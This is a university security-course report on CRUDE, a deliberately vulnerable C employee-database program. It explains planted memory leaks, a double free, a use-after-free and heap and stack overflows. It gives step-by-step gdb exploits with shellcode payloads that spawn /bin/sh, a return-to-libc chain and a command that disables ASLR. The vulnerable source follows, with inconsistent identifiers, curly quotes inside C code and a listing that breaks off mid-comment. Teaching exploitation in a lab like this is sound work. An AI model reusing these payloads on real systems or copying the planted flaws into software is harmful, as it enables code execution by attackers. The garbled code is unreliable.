Curtin University of Technology

Department of Computing

Assignment Cover Sheet

(Please fill in all fields clearly and in upper-case letters)

Surname:	Healy
Given Names:	Luke
Student Number:	17086424
Unit Name:	CCSEP
Unit Number:	ISEC3004
Lecturer's Name:	Mark Upston
Tutor's Name:	Mark Upston
Assignment Title/Number:	1
Due Date:	30 October, 2017 at 8AM
Date Submitted:	16 October, 2017

I declare the above information to be true, complete and correct.

Except where clearly indicated in this assignment, I hereby declare this assignment is solely my own work and has not been submitted for assessment or feedback purposes in this or any other unit whether at Curtin University of Technology or at any other University/Educational Institution.

I understand there are severe penalties for cheating, collusion and copying and I have read and understood the terms and conditions listed in the Unit Outline for this Unit.

Signed: ______________________________ Date: 16 October, 2017

ISEC3004 Report

CRUDE - The vulnerable crud application and how to exploit it.

Luke Healy - 17086424

Curtin University
Science and Engineering
Perth, Australia
Oct 2017

Overview

Introduction

This report details design and use of *CRUDE*, a create/read/update/delete application. The application is intentionally vulnerable, and has many specific flaws programmed into it. This report will outline each of the flaws, and where possible, show how the flaws can be exploited.

The Program

CRUDE, (Create/Read/Update/Delete/Exploit) is a simple employee database management program. It uses a csv file to store the database to the disk. It provides the following functionality:

1. **Change password.** The user can change their password for the delete function.
2. **Load database.** Loads a databse from file.
3. **Display Employee.** Prints an employee to the screen, given the ID.
4. **Add Employee.** Adds a new employee to the database. The details are specified by the user.
5. **Edit Employee.** Edits an existing employee, the user specifies the new data and the ID of the employee to edit.
6. **Delete Employee.** Sets an employees deleted flag to 1.
7. **Save Database.** Writes the database to the file specified by the user.
8. **Discard Changes.** Reverts a database back to what it was before changes were made.
9. **Unload DataBase.** Removes the database from memory.
10. **Exit.** Exits the program.

The prorgram presents a main menu to the user, then performs the desired function continuously until the user elects to exit.

Vulnerabilities

There are a total of 10 vulnerabilities in the program. They are as hidden as possible, given the simplicity of the program. There was a neccessity to add extra functionality (Discard changes and Unload database) in order to have a large enough surface to introduce a localised vulnerability. There was also a neccessity to make the code complicated, convoluted and naive for the same reason. All vulnerabilities were successfully implemented. The next section outlines them in the code, and where possible, how to exploit them.

Breakdown of vulnerabilities and exploits.

Memory leaks

1. In function `update_employee` (**db_handler.c:169**), the `backup` variable, a pointer to an `employee` is not freed if the `employee*` given to `update_employee` is `NULL`. This is because the function checks for `NULL` and immediatly returns.
   In order to fix this, simply free `backup` in all branches of the code.

2. In function `save_db` (**db_handler.c:317**), the `sd` variable is not freed when the `write_to_file` function is not successful. The programmer freed it at the end of the function, but not in the branch of code which executes if writing to the file fails.
   In order to fix this, free `sd` before the function returns when `write_to_file`.

3. In function `confirm_with_user` (**db_handler.c:634**), the `verdict` string is not freed if the user exceeds the maximum tries before the function defaults to return false. The programmer forgot to free the variable in that particular branch of execution.
   In order to fix this, free `verdict` before returning when the max tries is reached.

Double free causing crash

In the function `unload_database` (**db_handler.c:60**), the `backup_list` variable is freed as it is no longer needed, and will be reset when the next database is loaded. The problem is, the programmer didn't check to see if the next database had actually been loaded yet, meaning if a database is loaded, then unloaded *twice*, the program will crash due to the double free. Although double free causes "undefined" behaviour, in the testing done, a crash always occurs under the described conditions.
To fix this issue, keep track of whether or not a database is loaded, and do not attempt to unload it if the check fails.

Access after free

In function `change_password`(**db_handler.c:417**), the variable `vault` is freed, as it will be replaced by `new_vault`. `new_vault` is allocated memory right after the free. The program then prints the old password, and the new one to the user to show the change. Printing `vault->password`, will print the *new* password, not the old one, as the memory previously just freed is given to `new_vault`. This behaviour does not occur when the program is run under valgrind, explaining why the programmer didn't reaslise.
Simply allocating the memory for `new_vault` before freeing vault will fix the problem.

Heap based buffer overflow causing corruption but no crash

In function `update_employee` (**db_handler.c:169**), the programmer accidently gave the value of 150, instead of 15 for the number of characters to read for the `position` field in `employee`. Writing more than 15 characters to this buffer will corrupt the next employee in the array. If there is no employee in the next index, the id will still be set to a very large number, scewing any newly generated ID. If an employee *does* exist in the next index, it will be entirely overwritten with enough input, looking something like this:

```
Employee 1718051187:hjasgdhjfgsadjgfhjasghfgashjkfgjhkasdgfhjgasdjfhkgksda
```

```
hfgsadhjkgfhjksadgfhjkagdshfgjhaksdgfjagsdhjfgasdhjgfjagsdhjfgadsjkgdhjfgs
adjgfhjasghfgashjkfgjhkasdgfjgasdjfhkgksdahfgsadhjkgfhjksadgfhjkagdshfgjha
ksdgfjagsdhjfgasdhjgfjagsdhjfgadsjkshjkfgjhkasdgfhjgasdjfhkgksdahfgsadhjkg
fhjksadgfhjkagdshfgjhaksdgfjagsdhjfgasdhjgfjagsdhjfgadsjk, gsadhjkgfhjksad
gfhjkagdshfgjhaksdgfjagsdhjfgasdhjgfjagsdhjfgadsjk.  Salary:  $1802135654.
Deleted:  1935959905
```

Doing this will not cause the program to crash. The input while too much, is limited to 150 characters, meaning that the data can only go $(150 - 15 - sizeof(int) - sizeof(int))$ bytes past the array. As the array is malloc'd first, it is at the start of the heap. While this may differ on some systems, the two in which I tested the code on acted as described.
Careful code inspection should reveal this error. They simply need to remove the 0, setting the number of characters read to only 15.

Heap based buffer overflow causing crash

In the function `exit_program` (**db_handler.c:478**), a string is read from the user and stored in the variable `quit`. The string is assigned a value in the following fashion: `scanf("%s", quit);`. This is clearly vulnerable as it does not check the bounds of the input. The variable is then compared to the string literal `"quit"` like so: `strncmp(quit, "quit", 4);`. This means that if more than just "quit" is written to the buffer, you usually won't notice. You must write a huge amount of data to the `quit` buffer in order to crash the program, as you need to traverse the entire heap and breach the programs segment. If you don't write enough to crash immediatly, there is a high chance that other data on the heap will become corrupt, likely causing a crash later.
To fix this, bounds check the scanf statement to only read 4 characters. Also allocate soace for 5 characters to accomodate the null byte.

Stack based buffer overflow causing crash

In the function `discard_changes` (**db_handler.c:78**), the string `discard` is used to store the users decision as to whether or not they want to discard changes to the database. There is some confusion in the code because `discard` has space for 2 characters, e.g {'y','\0'}, but the programmer reads in 4 characters, e.g {'y','e','s','\0'}. They then compare just the first character to `"yes"` like so: `strncmp("yes", discard, 1)`. This works fine if the user enters either "y" or "yes". The reason this can cause a crash is because on the stack, right after `discard` is the index variable `num_emp` which is used in `memcpy` as the buffer size a few lines later. If you write 4 characters to `discard`, of high enough ascii value, you will overwrite the `num_emp` variable with a high value, (greater than 999, the size of the employee array), which will then cause `memcpy` to crash when it tries to write way further than it should.
To fix this, either ask for 'y', or 'yes' and make the rest of the function consistent with that. Ensure that there is the right amount of space allocated to match the amount read in.

Heap based buffer overflow causing arbitrary code execution

In function `save_db`, the struct `sd` contains information regarding the behaviour of `save_db`. This includes a `file_path`, and a function pointer `func`, which points to either the `write_to_file` or `write_to_screen` function. The scanf statement which reads the `file_path` from the user is not bounds checked. This means that we can overrun the buffer for the `file_path`, and overwrite the function pointer to point to our own shellcode. There are three very good options here:

1. One can append the shellcode to the payload string, and jump to it by adding one word size to the address of the `sd->func` variable. (Plus 4 in our case).

2. One can store the payload in an environment variable on the stack, and jump to it. Finding this address is very easy, you simply print the stack out and look for the string.

3. One can find the address of the `system` function in `libc`, and jump to it. The only tricky part here is that because we're not on the stack, specifying arguments for `libc` (i.e "`/bin/sh`") can be difficult. It seems to default to the second address on the heap, who knows why?

For this exercise, we will append the shellcode to the payload string. These are the steps that were taken.

1. Run crude through gdb with a break at `save_db`. Run through the program until it hits the save_db breakpoint.

2. Step through the function until we get to the vulnerable scanf.

3. Print `sd->func` to see what the function pointer points to, so we can verify that it has changed when we overflow the buffer.

4. Print the addresses of `sd->func` and `sd->file_path` to ensure they are organised how we think they are. Sure enough, `sd->func` is 256 words above `sd->file_path`. This means we need to write 256 characters to the buffer, then the new jump address, then the shellcode.

5. Record the new jump address (&(`sd->func`) + 4).

6. Construct the payload. The first part is to interact with the program, to get to `save_db`. Then the buffer overflow, then the new jump address, and finally the shellcode.

   ```
   python -c "'1\ntest.csv\n6\n' + 256 * 'a' + '\x54\x19\x06\x08' +
   '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
   \x53\x89\xe1\x31\xd2\x83\xc0\x5b\x83\xe8\x50\xcd\x80\x0a'
   ```

7. Lets test it. This time we run crude through gdb, feeding it the file as input. `run < heap.txt`

8. Step through the `save_db` function again, and print `sd->func` right before, then right after the payload has been delivered, to ensure we hit the right addresses. Sure enough, we were spot on.

9. Continue execution and see what happens.

   ```
   (gdb) c
   Continuing.
   process 2329 is executing new program:  /bin/dash
   ```

   Excelent, /bin/dash is the binary that /bin/sh links to.

10. Now we need to hook up an interactive terminal. Create a fifo pipe and direct the file into it.

    ```
    mkfifo sin; (cat heap.txt; cat) > sin
    ```

    In another terminal, run crude through gdb, giving the fifo as the input file: `run < sin`. Type `ls` into the terminal being read by `sin`.

    ```
    process 2349 is executing new program:  /bin/dash
    LICENSE Makefile README.md crude doc resources sin src test.csv
    ```

    Success!

To fix this issue, simply bounds check the vulnerable scanf statement.

Stack based buffer overflow causing arbitrary code execution

In the function `authenticate_user`(**db_handler.c:673**), the string password has a buffer size of only 9 characters. This is because password are limited to 8 characters on this system. The scanf statement which reads data from the user and stores it in password is not bounds checked. As password is on the stack, this will be the classic stack smash. The vulnerability was exploited successfully in 3 ways.

1. Payload in input string.
2. Payload in environment variables.
3. Return to libc.

Payload in input string

This exploit is fairly straight forward. It is similar to the heap based exploit in that we overwrite a jump address with the address of shellcode, appended to the input string. The following steps were taken to gain code execution.

1. Run crude through gdb, with a break at `authenticate_user`. Step through until we get to the vulnerable scanf statement.
2. Print the return address of the current stack frame using the `info frame` command.
3. Next we need to figure out how much data to write to the buffer in order to align with the return address. This was done by trial and error, writing a's to the string and printing the stack frame. It turns out we needed 17 bytes to reach the return address.
4. Next we need to know the address to jump to. This can easily be supplied by gdb. We simply print the stack like so: `x/32x $esp`. We can then look for the return address, and take note of the address which it is stored at.
5. The last preparation we need to make is to record the address located at the word before the return address. This is the previous stack frame pointer (PSFP). If this address becomes corrupt, the program will crash before execution reaches the return address.
6. Now that we know the address to jump to, where to write it and the PSFP, we can build our input string as follows: Program interaction input, buffer overflow, PSFP, new return address, shellcode.

   ```
   python -c "print ’1\ntest.csv\n5\n1\n’ + 17 * ’a’ + ’\xf4\xf6\xff\xbf’ +
   ’\x17\xa0\x04\x08’ + ’\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
   \x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x83\xc0\x5b\x83\xe8\x50\xcd\x80\x0a’"
   > stack1.txt
   ```

7. If we now run the code through gdb, giving stack1.txt as the input file through a fifo pipe like in the heap exploit, we can test to see if we have a shell. `ls` gives us the correct output.

   ```
   process 1964 is executing new program:  /bin/dash
   LICENSE Makefile README.md crude doc resources sin src test.csv
   ```

   Success!

To fix this problem, implementing ASLR will make the attack much harder to carry out. DEP will also prevent the code from being executed. The programmer should also bounds check the vulnerable scanf statement to prevent any buffer overflows.

Payload in environment variable

This one is very similar to the previous, only instead of jumping just past the return address to the shellcode, we jump up to the top of the stack to an environment variable.

1. In order to put the shellcode in an environment variable, one can simply export it like so:

   ```
   export CODE=`python -c "'<shellcode>'"`
   ```

   This will put the shellcode in a variable called CODE. In order to find the address required, one can simply print the stack in gdb like so: `x/500s $esp`. If you put a break point in main, you will definitely get the environment to print in the first 500 words. It looks something like this.

   ```
   ...
   0xbfffff7f:  "LESSOPEN=| /usr/bin/lesspipe %s"
   0xbfffff9f:  "CODE=100Ph//shh/bin1143PS11416100[0350P"
   0xbfffffc2:  "LESSCLOSE=/usr/bin/lesspipe %s %s"
   0xbfffffe4:  "/home/ccsep/CRUDE/crude"
   0xbffffffc:  ""
   0xbffffffd:  ""
   ...
   ```

2. We then need to add enough to the address printed, in order to skip the name and "=" sign. In this case we add 5 to 0xbfffff9f, giving 0xbfffffa4.
   Once we have the required addresses, we can construct the exploit string like so: Program interaction input, buffer overflow, PSFP, new return address.

   ```
   python -c "print '1\ntest.csv\n5\n1\n' + 17 * 'a' + '\xd8\xf6\xff\xbf' +
   '\xa4\xff\xff\xbf'" > stack2.txt
   ```

3. Lets test it with the fifo pipe and `ls`.

   ```
   process 2121 is executing new program:  /bin/dash
   LICENSE Makefile README.md crude doc resources sin src test.csv
   ```

   Success again!
   Like the previous part, DEP and a bounds checked scanf will fix the problem.

Return to libc

The third technique is useful because it can bypass the Data Execution Prevention (DEP) feature of modern systems. The aim here is to use libc to fork a new process that we define. The steps to do so are as follows:

1. Aquire the address of `system` in libc. There are enumerable ways to do this, you can simply tell gdb to `print system` and it will give you the address of the function, assuming it is included in the program. Another way is to use `ldd` and `nm`.

2. If we are going to call system, we need to give it a parameter, the name of the program we want to execute. "/bin/sh" is generally a good option here. This means somewhere in the program running, we need to have the string "/bin/sh". We could store it in an environment variable, but looking at the source code for libc's system, they conveniently have the string hardcoded. To get the address, gdb has a very nifty function called find. `find &system,+10000000,"/bin/sh"` yeilds the address 0xb7f8d6a0.

3. The idea of this exploit is to remake the stack so that it calls system as it would if it was in the code. This means we will overwrite the return address with the new jump address to get to system, then specify a placeholder return address which it will jump back to, then specify the parameters for system. This is how we can construct the exploit string. Program interaction input, buffer overflow, jump address of system in libc, placeholder return address, address of "/bin/sh" to be passed to system.

   ```
   python -c "print '1\ntest.csv\n5\n1\n' + 21 * 'a' + '\xb0\x90\xe6\xb7' +
   'bbbb' + '\xa0\xd6\xf8\xb7'" > resources/stack3.txt
   ```

4. Let's test this with our usual fifo pipe acting as the input stream. This is for more than convenience here, it's neccessary as when system forks (or clones) our new /bin/sh process, the process will try and read from stdin. In doing so, the process will receive a SIGTTIN and will exit, as it isn't allow to read from stdin unless it is the foreground process, which it isn't. Let's also place a breakpoint in system to ensure we actually get there.

   ```
   Enter password:
   Breakpoint 1, __libc_system (line=0xb7f8d6a0 "/bin/sh") at
   ../sysdeps/posix/system.c:179
   ```

   Excellent, we've successfully called __libc_system with "/bin/sh" as the parameter. Let's continue.

   ```
   (gdb) c
   Continuing.
   crude doc LICENSE Makefile README.md resources sin src test.csv
   ```

   Success! But we're not done yet.

5. After exiting the shell, we can see the following:

   ```
   Program received signal SIGSEGV, Segmentation fault.
   0x62626262 in ??  ()
   ```

   We can leverage the fact that we are able to specify the return address of system. Instead of a placeholder of "bbbb", we can specify the address of exit. This will allow us to exit the process cleanly without causing a segfault, giving us a better chance of going undetected. We can get the address of exit in the same way as system.

6. Let's run it again with the address of exit as the return address for system.

   ```
   crude doc LICENSE Makefile README.md resources sin src test.csv
   >>> [Inferior 1 (process 2459) exited normally]
   ```

   Success!
   DEP will not help us in this situation, but bounds checking the input will fix the problem.

The shellcode

The shellcode used in these demo's is all the same piece. It is from practical 5 and simply calls `execve`, passing it "/bin/sh".

The system used for testing

The system that was used for testing this assignment is a 32 bit Ubuntu Server 12.04 Virtual Machine, running under Oracle Virtualbox. It's running Linux Kernel 3.2.0-23-generic-pae. The following programs were installed:

1. gcc
2. valgrind
3. gdb
4. openssh-server
5. htop

Other than the listed programs, the install was completely fresh.

In order to make the simple stack and heap based exploits possible, there was a small amount of configuration required. Address Space Layout Randomization (ASLR) was disabled using the following command:

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

In addition to this, two options were required to be enabled in the compiler and linker. They disable DEP and canaries. The following is an excerpt from the main Makefile, showing these options.

```
VULN = -fno-stack-protector -z execstack
```

Problems and bugs

According to the testing done, the program has no bugs or problems, other than the ones intentionally added.

Appendix 1

Source code

../src/Makefile

```
OBJ = main.o io.o db_handler.o
CC = gcc
EXEC = crude
VULN = -fno-stack-protector -z execstack
CFLAGS = -Wall -g $(VULN)

$(EXEC): $(OBJ)
	$(CC) $(OBJ) -o $(EXEC) $(VULN)
	mv $(EXEC) ..

main.o: main.c main.h io.h db_handler.h employee.h
	$(CC) main.c -c $(CFLAGS)

io.o: io.c io.h
	$(CC) io.c -c $(CFLAGS)

db_handler.o: db_handler.c db_handler.h employee.h io.h
	$(CC) db_handler.c -c $(CFLAGS)

clean:
	rm -f $(OBJ) $(EXEC)
```

../Makefile

```
CC = gcc
EXEC = crude

all:
	$(MAKE) -C src $(EXEC)

clean:
	$(MAKE) -C src clean
	rm -f $(EXEC)
```

../src/main.h

```c
#pragma once

int show_menu(void);
```

../src/main.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "main.h"
#include "io.h"
#include "db_handler.h"
#include "password.h"

/**
 * Initialise some the employee array and the password.
 * The loop the menu.
 */
int main(int argc, char const *argv[])
{
    int choice;
    int i;
    employee* emp = (employee*)malloc(sizeof(employee) * 1000);
    vault = (password*)malloc(sizeof(password));

    strncpy(vault->pass, "password", 9);

    for(i = 0; i < 1000; i++)
    {
        emp[i].id = 0;
    }

    printf("Welcome to CRUDE. ");

    MENU:

        while((choice = show_menu()) < 0);
        menu_action action = menu_action_factory(choice);
        action(emp);

    goto MENU;

    // Free the employee array at the end to avoid memory leaks.
    free(emp);

    return EXIT_SUCCESS;
}

/**
 * Runs until goo input, returns an int from 0 to 9, the coice.
 */
int show_menu(void)
{
    int choice = -1;
    printf("Please select an option:\n\n");
    printf("    0: Change Password\n");
    printf("    1: Load Database\n");
    printf("    2: Display Employee Record\n");
    printf("    3: Add Employee\n");
    printf("    4: Edit Employee\n");
    printf("    5: Delete Employee\n");
    printf("    6: Save Database\n");
    printf("    7: Discard Changes\n");
    printf("    8: Unload Database\n");
    printf("    9: Exit\n");
    printf(">>> ");

    read_int_stdin(&choice);

    return choice > 9 ? -1 : choice;
}
```

../src/io.h

```c
#pragma once
#include "employee.h"

typedef int (*print_func)(employee emp[1000], char*);

/**
 * Holds the information for the save database
 * behaviour.
 */
typedef struct save_data
{
    char file_path[256];
    print_func func;
} save_data;

int read_int_stdin(int* num);
int read_string_stdin(char* buffer, int len);
void consume_stdin(void);
```

../src/io.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "io.h"

/**
 * Reads a 9 digit or less int from the user.
 */
int read_int_stdin(int* i)
{
    if(scanf("%9d", i) > 0)
    {
        consume_stdin();
        return EXIT_SUCCESS;
    }
    consume_stdin();

    return EXIT_FAILURE;
}

/**
 * Safely reads a string from stdin, up to 1023 chars.
 */
int read_string_stdin(char* buffer, int len)
{
    char pre_buffer[1024];
    int num_read = 0;

    if(buffer != NULL && len < 1024)
    {
        if((num_read = scanf("%1023s", pre_buffer)) > -1)
        {
            consume_stdin();
            pre_buffer[1023] = '\0';
            strncpy(buffer, pre_buffer, len - 1);
            buffer[len - 1] = '\0';

            return EXIT_SUCCESS;
        }
    }

    return EXIT_FAILURE;
}

/**
 * Consumes stdin.
 */
void consume_stdin(void)
{
    char c;
    while((c = fgetc(stdin)) != EOF && c != '\n');
}
```

../src/db_handler.h

```
#pragma once

#include ”employee.h”

typedef int (*menu_action)(employee emp[1000]);

int load_db(employee emp[1000]);
int change_password(employee emp[1000]);
int display_emp_rec(employee emp[1000]);
int add_emp(employee emp[1000]);
int edit_emp(employee emp[1000]);
int delete_emp(employee emp[1000]);
int save_db(employee emp[1000]);
int discard_changes(employee emp[1000]);
int exit_program(employee emp[1000]);
menu_action menu_action_factory(int choice);
int read_csv(char* filename, employee* emp);
employee* get_employee_by_id(employee emp[1000], int id);
int print_employee(employee* emp);
int get_word_len(int num);
int store_word(char* current_word, int curr_word_len, employee* emp, int num_matched, int num_read);
int generate_unique_id(employee emp[1000]);
int update_employee(employee* emp, int num_employees);
int get_detail_from_user(employee** emp, int word_len, char* prompt, int idx, int num_employees);
int confirm_with_user(char* msg);
int authenticate_user(void);
int write_db_to_file(employee emp[1000], char* path);
int unload_database(employee emp[1000]);
int write_db_to_screen(employee emp[1000], char* path);
int get_num_employees(employee emp[1000]);
```

../src/db_handler.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include ”db_handler.h”
#include ”io.h”
#include ”password.h”

/**
 * Backup list of employees to implement revert changes
 * functionality..
 */
employee *backup_list;

/**
 * Flags to keep track of whether a change has occured, and if the
 * database has been loaded or not.
 */
int changes;
int db_loaded;

/**
 * Loads the database from a csv file.
 * Also records whether the database has been laoded or not.
 */
int load_db(employee emp[1000])
{
    char *filename = (char*)malloc(sizeof(char) * 256);
    backup_list = (employee*)malloc(sizeof(employee) * 1000);
```

```c

    memset(emp, 0, 1000 * sizeof(employee));

    printf("Enter filename of the database:\n>>> ");
    read_string_stdin(filename, 256);

    if(read_csv(filename, emp) == EXIT_FAILURE)
    {
        fprintf(stderr, "Invalid file detected, nothing loaded.\n");
        memset(emp, 0, 1000 * sizeof(employee));

        free(filename);

        return EXIT_FAILURE;
    }

    memcpy(backup_list, emp, sizeof(employee) * 1000);
    // Set changes to 0 as it's fresh from the file, and loaded_db
    // to 1.
    changes = 0;
    db_loaded = 1;

    free(filename);

    return EXIT_SUCCESS;
}

/**
 * Removes the database from memory.
 */
int unload_database(employee emp[1000])
{
    if(confirm_with_user("Are you sure you want to unload the database? (unsaved changes will be lost.)"))
    {
        memset(emp, 0, sizeof(employee) * 1000);
        changes = 0;
        db_loaded = 0;
    }
    // Get rid of old backup, no longer needed.
    free(backup_list);

    return EXIT_SUCCESS;
}

/**
 * If changes are present and the database has been loaded,
 * this function will revert the database back to it's saved state.
 */
int discard_changes(employee emp[1000])
{
    char discard[2];
    int num_emp = get_num_employees(emp);

    if(changes && db_loaded)
    {
        printf("Are you sure you want to discard changes? [yes/no]\n>>> ");

        // Read in "yes" from the user.
        scanf("%4s", discard);

        //If the user entered "yes", checking "y" will be enough.
        if(strncmp(discard, "yes", 1) == 0)
        {
            changes = 0;
            memcpy(emp, backup_list, sizeof(employee) * num_emp);
        }
        else
        {
            printf("Changes not discarded.\n");
        }
    }
    else
    {
        printf("No changes to discard.\n");
    }
    return EXIT_SUCCESS;
}

/**
 * Prints out an employee's information, according to the
 * provided ID.
 */
int display_emp_rec(employee emp[1000])
{
    int emp_id = 0;
    employee* templоyee;
    printf("Enter an employee ID:\n>>> ");

    // Get the id.
    while(read_int_stdin(&emp_id) != EXIT_SUCCESS)
    {
        printf("Invalid.\nEnter an employee ID:\n>>> ");
    }

    // Query the id.
    if((temployee = get_employee_by_id(emp, emp_id)) != NULL)
    {
        print_employee(temployee);
    }
    else
    {
        printf("No employee with ID %d.\n", emp_id);
    }

    return EXIT_SUCCESS;
}

/**
 * Returns the number of employees in the database.
 */
int get_num_employees(employee emp[1000])
{
    // Iterate over the array until a default id of 0 is reached.
    int i = 0;
    while(emp[i].id != 0)
    {
        i++;
    }

    return i;
}

/**
 * Safely gets an employee detail from the user, then passes it to
 * store_word to put it into the employee.
 */
int get_detail_from_user(employee** emp, int word_len, char* prompt, int idx, int
    num_employees)
{
    char item[1024];

    printf("%s\n", prompt);
    read_string_stdin(item, word_len);
    return store_word(item, word_len, *emp, idx, num_employees);
}

/**
 * Used to change an employee's information, with the exception
 * of the deleted field.
 */
int update_employee(employee* emp, int num_employees)
{
    employee* backup = (employee*)malloc(sizeof(employee));
    memcpy(backup, emp, sizeof(employee));

    // Exit if the employee is NULL.
    if(emp == NULL)
    {
        printf("Unable to update, no employee with that ID.\n");
        return EXIT_FAILURE;
    }

    // Read in the details from the user.
    if(get_detail_from_user(&emp, 3, "Enter employee's salutation:\n>>> ", 1,
        num_employees)
    || get_detail_from_user(&emp, 20, "Enter employee's first name:\n>>> ", 2,
        num_employees)
    || get_detail_from_user(&emp, 30, "Enter employee's surname:\n>>> ", 3,
        num_employees)
    || get_detail_from_user(&emp, 150, "Enter employee's position:\n>>> ", 4,
        num_employees)
    || get_detail_from_user(&emp, 9, "Enter employee's salary:\n>>> ", 5,
        num_employees)
    || !confirm_with_user("Are you sure you want to update this employee?"))
    {
        printf("Employee not saved.\n");
        memcpy(emp, backup, sizeof(employee));

        free(backup);

        return EXIT_FAILURE;
    }

    // Set deleted to default of 0.
    emp->deleted = 0;
    changes = 1;

    free(backup);

    return EXIT_SUCCESS;
}

/**
 * Get's the highest id in the database and returns it, plus 1.
 */
int generate_unique_id(employee emp[1000])
{
    int i;
    int max_id = 0;

    for(i = 0; i < 1000; i++)
    {
        max_id = emp[i].id > max_id ? emp[i].id : max_id;
    }
```

```c

    return max_id + 1;
}

/**
 * Adds a new employee to the database. Generates an ID and
 * calls update on that new employee.
 */
int add_emp(employee emp[1000])
{
    // Create new employee.
    int new_id = generate_unique_id(emp);
    int num_emp = get_num_employees(emp);

    printf("New employee created with ID: %d\n", new_id);
    emp[num_emp].id = new_id;

    // Get information for it.
    if(update_employee(&emp[num_emp], num_emp))
    {
        emp[num_emp].id = 0;
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

/**
 * Edits an employee using update_employee.
 * employee is given by the ID entered.
 */
int edit_emp(employee emp[1000])
{
    int id = 0;
    employee* temployee;
    printf("Enter employee ID to edit:\n>>> ");

    // Get the employee Id to edit.
    while(read_int_stdin(&id) != EXIT_SUCCESS)
    {
        printf("Invalid, Enter employee ID to edit:\n>>> ");
    }

    temployee = get_employee_by_id(emp, id);

    // Edit it.
    update_employee(temployee, get_num_employees(emp));

    return EXIT_SUCCESS;
}

/**
 * Changes an employee's deleted flag to 1.
 * Employee is given by the entered ID.
 */
int delete_emp(employee emp[1000])
{
    int emp_id = 0;
    employee* temployee;
    printf("Enter employee ID to delete:\n>>> ");

    changes = 1;

    // Get the id.
    while(read_int_stdin(&emp_id) != EXIT_SUCCESS)
    {
        printf("Invalid, Enter employee ID to delete:\n>>> ");
    }

    if((templovee = get_employee_by_id(emp, emp_id)) != NULL)
    {
        printf("Deleting %s %s.\n", templovee->firstname, templovee->surname);
        // Get password from the user.
        if(authenticate_user())
        {
            templovee->deleted = 1;
        }
        else
        {
            printf("Password incorrect, employee unchanged.\n");
            return EXIT_FAILURE;
        }
    }
    else
    {
        printf("No employee with ID %d.\n", emp_id);
        changes = 0;
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

/**
 * Saves the database. It can either write to a file,
 * or dump to the screen. This is so that the database
 * can be passed to another process through a pipe, without
 * having to save it to the disk.
 */
int save_db(employee emp[1000])
{
    save_data* sd = (save_data*)malloc(sizeof(save_data));

    int choice = 0;

    printf("Print database.\n");
    printf("1: To a file.\n");
    printf("2: To the screen.\n>>> ");

    // Get the choice from the user.
    read_int_stdin(&choice);
    while(choice != 1 && choice != 2)
    {
        printf("Error, enter 1 or 2.\n>>> ");
        read_int_stdin(&choice);
    }

    // Set the action according to the users choice.
    if(choice == 2)
    {
        sd->func = &write_db_to_screen;
    }
    else if(choice == 1)
    {
        sd->func = &write_db_to_file;
        printf("Enter the path to save the database file.\n>>> ");
        scanf("%s", sd->file_path);
    }

    if((sd->func)(emp, sd->file_path) == EXIT_SUCCESS)
    {
        printf("Action successful.\n");
    }
    else
    {
        printf("Error, Database not written to file.\n");
        return EXIT_FAILURE;
    }

    free(sd);

    return EXIT_SUCCESS;
}

/**
 * Prints the databse to the screen.
 */
int write_db_to_screen(employee emp[1000], char* path)
{
    int i;
    // Print all the employees.
    for(i = 0; i < get_num_employees(emp); i++)
    {
        print_employee(&emp[i]);
    }

    return EXIT_SUCCESS;
}

/**
 * Saves the database to the disk. The filename is provided
 * by the user.
 */
int write_db_to_file(employee emp[1000], char* path)
{
    int i;
    FILE* f = (FILE*)malloc(sizeof(FILE));

    f = fopen(path, "w");

    if(f == NULL)
    {
        perror(path);
        return EXIT_FAILURE;
    }

    // Prints in the same csv format as read in.
    for(i = 0; i < get_num_employees(emp); i++)
    {
        fprintf(f, "%d,%s,%s,%s,%s,%d,%d\n",
            emp[i].id,
            emp[i].salutation,
            emp[i].firstname,
            emp[i].surname,
            emp[i].position,
            emp[i].salary,
            emp[i].deleted);
    }

    fclose(f);

    return EXIT_SUCCESS;
}

/**
```

```
 * Used to change the users password. This is temporary,
 * so that someone else can use the delete function without people
 * having to share passwords.
 */
int change_password(employee emp[1000])
{
    // Get the user to authenticate.
    if(authenticate_user())
    {
        // Remove the old vault as we're replacing it.
        free(vault);
        // Make a new one.
        password* new_vault = (password*)malloc(sizeof(password));
        // Get the new password.
        char new_password[9];
        printf(”Enter new password: (will be truncated to 8 characters.)\n>>> ”);
        read_string_stdin(new_password, 9);
        strncpy(new_vault->pass, new_password, 9);
        // Notify user of change.
        printf(”Password changed from \”%s\” to \”%s\”\n”, vault->pass, new_password);
        vault = new_vault;
    }
    else
    {
        printf(”Incorrect, password unchanged.\n”);
    }

    return EXIT_SUCCESS;
}

/**
 * Returns the function based on the number entered
 * by the user.
 */
menu_action menu_action_factory(int choice)
{
    switch(choice)
    {
        case 0:
            return &change_password;
        case 1:
            return &load_db;
        case 2:
            return &display_emp_rec;
        case 3:
            return &add_emp;
        case 4:
            return &edit_emp;
        case 5:
            return &delete_emp;
        case 6:
            return &save_db;
        case 7:
            return &discard_changes;
        case 8:
            return &unload_database;
        case 9:
            return &exit_program;
    }
    return NULL;
}

/**
 * Asks the user to enter ”quit” and if they do, the program ends.
 */
```

```c
int exit_program(employee emp[1000])
{
    // Ask the user to enter "quit" and read it in.
    char* quit = (char*)malloc(sizeof(char) * 4);
    printf("Type \"quit\" to quit.\n>>> ");
    scanf("%s", quit);

    if(strncmp(quit, "quit", 4) == 0)
    {
        free(emp);
        free(vault);
        free(quit);
        exit(EXIT_SUCCESS);
    }

    free(quit);

    return 0;
}

/**
 * Prints an employee.
 */
int print_employee(employee* emp)
{
    if(emp != NULL)
    {
        printf("Employee %d: %s %s %s, %s. Salary: $%d. Deleted: %d\n",
            emp->id,
            emp->salutation,
            emp->firstname,
            emp->surname,
            emp->position,
            emp->salary,
            emp->deleted);
    }

    return EXIT_SUCCESS;
}

/**
 * Returns an employee according to the supplies ID.
 */
employee* get_employee_by_id(employee emp[1000], int id)
{
    int i = 0;

    while(i < 1000)
    {
        if(emp[i].id == id)
        {
            return &emp[i];
        }
        i++;
    }

    return NULL;
}

/**
